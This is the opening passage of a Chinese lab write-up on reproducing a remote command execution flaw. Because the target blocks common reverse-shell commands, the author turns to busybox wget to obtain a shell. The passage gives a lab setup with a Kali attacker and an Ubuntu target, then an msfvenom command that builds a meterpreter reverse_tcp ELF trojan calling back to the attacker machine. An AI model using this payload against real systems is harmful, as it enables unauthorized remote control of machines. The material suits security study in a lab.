前言
近日在复现漏洞时,由于目标所提供的服务中的某段代码没有对权限进行检查,导致了远程命令执行——RCE漏洞。
由于该漏洞本身的特性,所能执行的命令是需要通过url进行拼接且每次只可执行一句,因此尝试获取靶机shell来做到更多的事。
但在尝试的过程中发现目标对于防渗透措施做的相当不错,删除或者禁用了很多命令,上篇文章(《反弹shell常用命令》)所提到的所有方式都没有尝试成功。但天无绝人之路,busybox中wget的身影吸引了我的注意。
环境准备
靶机:ubuntu 192.168.116.128
攻击机:kali 192.168.116.129
测试流程
1 攻击机使用msf生成二进制木马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=开放端口 -f elf > p.elf